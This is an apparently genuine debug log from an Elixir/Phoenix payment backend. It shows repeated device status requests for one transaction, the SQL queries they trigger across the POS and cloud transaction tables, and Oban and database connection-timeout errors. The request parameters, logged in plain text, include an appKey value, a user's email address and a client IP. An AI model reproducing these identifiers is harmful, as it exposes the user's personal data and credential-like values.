SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch917637388751"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 10:00:32.494000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:51138] QUERY OK source="pos_failed_transaction" db=5.6ms idle=699.0ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch917637388751"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 10:00:32.496000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:51138] QUERY OK source="cloud_transaction" db=1.0ms idle=705.1ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch917637388751"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 10:00:32.496000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:51138] Sent 200 in 35ms
[Thu Sep  3 10:00:37.346000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Thu Sep  3 10:00:41.586000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:43942] POST /api/device/status
[Thu Sep  3 10:00:41.588000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:43942] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch917637388751", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 10:00:41.588000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:43942] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch917637388751", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 10:00:41.588000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:43942] Transaction reference number: "ch917637388751"
[Thu Sep  3 10:00:41.605000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:43942] QUERY OK source="pos_transaction" db=14.6ms queue=0.1ms idle=1800.9ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch917637388751"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 10:00:41.607000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:43942] QUERY OK source="pos_temp_transaction" db=1.2ms idle=1816.1ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch917637388751"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 10:00:41.610000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:43942] QUERY OK source="pos_failed_transaction" db=3.3ms idle=1817.5ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch917637388751"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 10:00:41.612000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:43942] QUERY OK source="cloud_transaction" db=1.2ms idle=1821.1ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch917637388751"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 10:00:41.612000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:43942] Sent 200 in 26ms
[Thu Sep  3 10:00:42.347000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Thu Sep  3 10:00:45.394000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Thu Sep  3 10:00:46.732000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 10:00:48.838000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:39294] POST /api/device/status
[Thu Sep  3 10:00:48.838000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:39294] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch917637388751", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 10:00:48.838000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:39294] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch917637388751", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 10:00:48.838000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:39294] Transaction reference number: "ch917637388751"
[Thu Sep  3 10:00:48.859000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:39294] QUERY OK source="pos_transaction" db=18.6ms idle=1049.2ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch917637388751"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 10:00:48.862000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:39294] QUERY OK source="pos_temp_transaction" db=2.2ms idle=88.7ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch917637388751"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 10:00:48.866000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:39294] QUERY OK source="pos_failed_transaction" db=3.4ms queue=0.5ms idle=75.6ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch917637388751"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 10:00:48.867000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:39294] QUERY OK source="cloud_transaction" db=0.6ms queue=0.1ms idle=78.3ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch917637388751"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 10:00:48.868000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:39294] Sent 200 in 29ms
[Thu Sep  3 10:00:49.145000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:37044] POST /api/device/status
[Thu Sep  3 10:00:49.146000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:37044] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch917637388751", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 10:00:49.146000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:37044] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch917637388751", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 10:00:49.146000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:37044] Transaction reference number: "ch917637388751"
[Thu Sep  3 10:00:49.149000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:37050] POST /api/device/status
[Thu Sep  3 10:00:49.149000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:37050] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch917637388751", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 10:00:49.149000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:37050] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch917637388751", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 10:00:49.151000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:37050] Transaction reference number: "ch917637388751"
[Thu Sep  3 10:00:49.166000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:37044] QUERY OK source="pos_transaction" db=19.9ms idle=353.4ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch917637388751"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 10:00:49.171000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:37050] QUERY OK source="pos_transaction" db=18.8ms idle=295.4ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch917637388751"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 10:00:49.173000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:37044] QUERY OK source="pos_temp_transaction" db=6.1ms queue=0.1ms idle=309.4ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch917637388751"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 10:00:49.174000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:37050] QUERY OK source="pos_temp_transaction" db=1.8ms queue=0.1ms idle=309.8ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch917637388751"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 10:00:49.181000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:37050] QUERY OK source="pos_failed_transaction" db=6.8ms idle=306.5ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch917637388751"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 10:00:49.185000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:37044] QUERY OK source="pos_failed_transaction" db=11.5ms queue=0.1ms idle=306.9ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch917637388751"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 10:00:49.187000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:37050] QUERY OK source="cloud_transaction" db=0.9ms idle=223.0ms
